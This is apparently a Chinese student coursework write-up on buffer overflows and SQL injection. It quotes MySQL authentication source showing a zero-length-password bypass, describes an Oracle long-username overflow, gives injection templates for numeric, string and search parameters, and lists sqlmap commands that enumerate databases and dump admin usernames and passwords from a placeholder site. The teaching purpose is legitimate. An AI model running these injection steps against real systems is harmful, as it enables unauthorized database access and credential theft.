研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究

缓冲区溢出原理
缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。溢出的数据覆盖在合法数据上。理想情况是,程序检查数据长度并且不允许输入超过缓冲区长度的字符串。但是绝大多数程序都会假设数据长度总是与所分配的存储空间相匹配,这就为缓冲区溢出埋下隐患。
原理

  • 针对mysql数据库
    check_connection (sql_parse.cc):
    /
    Old clients send null-terminated string as password; new clients send
    the size (1 byte) + string (not null-terminated). Hence in case of
    empty
    password both send '\0'.
    /
    uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
    passwd++ : strlen(passwd);
    在'client capabilities'标记中提供0x8000,用户可以指定passwd_len字段的值。要利用漏洞攻击选择0x14(20)作为值,因为它等于SHA HASH长度,可以通过认识过程中的检查。
    在通过几个用于确保用户来自许可主机的检查后,认证过程就会进入如下代码:
    /
    check password: it should be empty or valid /
    if (passwd_len == acl_user_tmp->salt_len)
    {
    if (acl_user_tmp->salt_len == 0 ||
    acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
    check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
    check_scramble_323(passwd, thd->scramble,
    (ulong
    ) acl_user_tmp->salt) == 0)
    {
    acl_user= acl_user_tmp;
    res= 0;
    }
    }
    check_scramble函数会返回认证失败,但查看check_scramble_323函数我们可以看到:
    my_bool
    check_scramble_323(const char scrambled, const char message,
    ulong hash_pass)
    {
    struct rand_struct rand_st;
    ulong hash_message[2];
    char buff[16],
    to,extra; /* Big enough for check /
    const char
    pos;
    hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
    randominit(&rand_st,hash_pass[0] ^ hash_message[0],
    hash_pass[1] ^ hash_message[1]);
    to=buff;
    for (pos=scrambled ; pos ; pos++)
    to++=(char) (floor(my_rnd(&rand_st)31)+64);
    extra=(char) (floor(my_rnd(&rand_st)
    31));
    to=buff;
    while (scrambled)
    {
    if (
    scrambled++ != (char) (to++ ^ extra))
    return 1; /
    Wrong password */
    }
    return 0;
    }
    在这里,使用零长度的scrambled串可绕过验证,在函数最后的比较中如果scrambled串没有字符,使函数返回'0',允许用户以零长度字符串绕过验证。
    另外基于堆栈的缓冲区buff可以被超长的scrambled串溢出,缓冲区被从my_rnd()函数输出的字符溢出,字符范围是0x40..0x5f,在部分平台下可能可以导致任意代码执行。
  • Oracle数据库服务器登录长用户名缓冲区溢出漏洞
    ORACLE数据库服务程序在拷贝用户名外部数据到本地内存缓冲区时没有进行充分边界检查,远程攻击者可以利用这个漏洞对数据库进行缓冲区溢出攻击,可能以Oracle进程权限在系统上执行任意指令。
    Oracle数据库服务程序中处理验证请求部分的代码存在远程可利用缓冲区溢出,通过传递超长用户名给服务程序,远程攻击者可以触发基于栈的溢出,精心构建用户名数据可能以Oralce进程权限在系统上执行任意指令,在Linux/Unix系统上为"Oracle"权限,而在Windows系统下Local System权限。
    多数Oracle的客户端应用程序会截断超长的用户名再提供给数据库,因此攻击者需要写自己的验证客户端来利用这个漏洞。不过NGSSoftware发现有一个客户端工具LOADPSP可以允许超长用户名输入,用户可以用来进行测试,工具在Oracle安装目录下的"bin"目录下。

    针对不同数据类型,研究SQL注入点的发现与注入技术

  1. 数字型注入点
    形如“http://****?ID=55”,这类注入的参数是“数字”,因此称为“数字型注入点”。
    此类注入点提交的SQL语句,其原形大致为:Select * from 表名 where 字段=55
    当我们提交注入参数为“http://****?ID=55 And[查询条件]”时,向数据库提交的完整 SQL 语句为:
    Select * from 表名 where 字段=55 And [查询条件]
  2. 字符型注入点
    形如“http://****?Class=日期”这类注入的参数是“字符”,因此称为“字符型”注入点。
    此类注入点提交的 SQL 语句,其原形大致为:
    select * from 表名 where 字段='日期'
    当我们提交注入参数为“http://****Class=日期 And[查询条件]时,向数据库提交的完整 SQL 语句为”:
    select * from 表名 where 字段='日期' and [查询条件]
  3. 搜索型注入点
    这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示的链接地址,而是直接通过搜索框表单提交。
    此类注入点提交的 SQL 语句,其原形大致为:
    select * from 表名 where 字段 like '%关键字%'
    当我们提交注入参数为“keyword='and[查询条件] and '%'=',则向数据库提交的完事SQL语句为:
    select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'

    研究缓冲区溢出的防范方法,至少针对两种编程语言进行差异化研究

    根据缓冲区溢出攻击的步骤,可将常用的缓冲区溢出攻击检测技术分为以下3 种类型:基于输入字符串的检测方法,基于保护堆栈中的返回地址的检测方法和基于监视系统调用的检测方法

  • 基于输入字符串的检测方法
    对输入的字符串进行检测,确定其为溢出攻击字符串时采取阻拦措施,使攻击者无法注入攻击代码。一般有以下3 种方法构建溢出攻击字符串
    第1 种溢出攻击字符串适用于缓冲区大于ShellCode 长度的情况;第2 种溢出攻击字符串一般用于缓冲区小于ShellCode 长度的情况;第3 种方法是将ShellCode 放在环境变量里,是目前较为常用的方法。
  • 基于保护堆栈中返回地址的检测方法
    缓冲区溢出攻击最关键的步骤是要通过修改函数返回地址来改变程序的流程,因此,在函数调用返回前,通过检查返回地址是否被修改可以判断是否有缓冲区溢出攻击发生。
    缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。 目前有三种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响: 1、通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码; 2、强制写正确的代码的方法; 3、利用编译器的边界检查来实现缓冲区的保护,使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁。

    数据库注入工具

  • sqlmap
  1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"
      判断id参数是否存在注入:结果中包含 “id” is Vulnerable 字段表示存在注入
      存在注入,下面的步骤才可以执行成功~
  2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs
      列举能列出的所有数据库名
  3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db
      列出当前使用的数据库名,假设列出“sqltest”数据库  
  4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba
      判断该注入点是否有管理员权限:返回true 表示是管理员
  5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables
      获取sqltest中的所有表,假设有"admin"表
  6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
      列举表admin的字段(列名),假设存在"username","password"字段
  7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
      下载字段username,password的值,若询问是否破解md5加密,选择no即可
      至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据
    【*】注入demo之后会补上截图
  • 超级sql注入
    超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。
    超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具。
    超级SQL注入工具支持自动识别SQL注入,并自动配置,如程序无法自动识别,还可人工干预识别注入,并标记注入位置。
    超级SQL注入工具支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。
    超级SQL注入工具支持Bool型盲注、错误显示注入、Union注入等方式获取数据。
    超级SQL注入工具支持Access、MySQL5以上版本、SQLServer、Oracle等数据库。
    超级SQL注入工具支持手动灵活的进行SQL注入绕过,可自定义进行字符替换等绕过注入防护。
    超级SQL注入工具支持批量扫描SQL注入漏洞,可导入域名爬行一次链接后扫描,采用相似度算法,漏洞、误报率低于1%。

SqL注入攻击实践的更多相关文章

  1. 2017-2018-2 20179205《网络攻防技术与实践》第十一周作业 SQL注入攻击与实践

    <网络攻防技术与实践>第十一周作业 SQL注入攻击与实践 1.研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究 缓冲区溢出原理   在计算机内部,输入数据通常被存放在一个临时空间内, ...

  2. 2017-2018-2 20179204《网络攻防实践》第十一周学习总结 SQL注入攻击与实践

    第1节 研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究 1.1 原理 在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放的空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统 ...

  3. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  4. Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法

    sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...

  5. Java程序员从笨鸟到菜鸟之(一百零一)sql注入攻击详解(二)sql注入过程详解

    在上篇博客中我们分析了sql注入的原理,今天我们就来看一下sql注入的整体过程,也就是说如何进行sql注入,由于本人数据库和网络方面知识有限,此文章是对网上大量同类文章的分析与总结,其中有不少直接引用 ...

  6. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  7. ADO。Net(二)——防止SQL注入攻击

    规避SQL注入 如果不规避,在黑窗口里面输入内容时利用拼接语句可以对数据进行攻击 如:输入Code值 p001' union select * from Info where '1'='1 //这样可 ...

  8. XSS攻击&SQL注入攻击&CSRF攻击?

    - XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...

  9. 防止SQL注入攻击的一些方法小结

    SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...

随机推荐

  1. type-c UCSI和UcmCx.sys文件

    简介:https://docs.microsoft.com/zh-cn/windows-hardware/drivers/usbcon/ucsi UCSI:USB Type-C Connector S ...

  2. ORACLE schedule job设置

    --创建job begin DBMS_SCHEDULER.CREATE_JOB ( job_name => 'APICALL_LOG_INTERFACE_JOB', job_type => ...

  3. emacs 简记

    简介 Emacs作为神的编辑器,不用介绍了吧,说点感受. 用了一段时间了,总体感觉其实Emacs是很简单的,甚至比vim还简单,因为在X环境下,打开后可以就像记事本一样使用.但是,使用Emacs的人一 ...

  4. POJ3009 Curling 2.0(DFS)

    迷宫问题求最短路. 略有不同的是假设不碰到石头的话会沿着一个方向一直前进,出界就算输了.碰到石头,前方石头会消失,冰壶停在原地. 把这个当作状态的转移. DFS能够求出其最小操作数. #include ...

  5. oracle函数中lead,lag,over,partition by 的使用

    lead,lag函数的分析 http://blog.csdn.net/mazongqiang/article/details/7621328 举例如下: SQL> select *  from ...

  6. linux下安装最新版Subversion 1.8.9

    linux下安装最新版subversion,代码: [root@localhost subversion-1.8.9]# ./configure --prefix=/usr/local/subvers ...

  7. Oracle学习第三篇—多行函数

    0 order by asc/desc 默认升序 order by 列的名字|表达式|别名|序号 把空放在后边:order by desc nulls last 1分组函数--会自动滤空值 count ...

  8. 2_Jsp标签_传统标签功能简介

    1传统标签接口关系:                                   2功能简介                                                   ...

  9. windowsphone8.1学习笔记之应用数据(一)

    数据存储分为两种:云存储和应用数据(即本地存储),wp中的应用数据分为两种,一种是应用设置:一种是应用文件.wp的数据相关都是通过ApplicationData来实现,一个程序只有数据存储区. 先说应 ...

  10. 5.2 《锋利的jQuery》jQuery对表格的操作(选项卡/换肤)

    表格隔行变色以及单选/复选 表格展开关闭 表格筛选 字体变大/缩小 选项卡 网页换肤 tip1: $("tr:odd")和$("tr:even")选择器索引是从 ...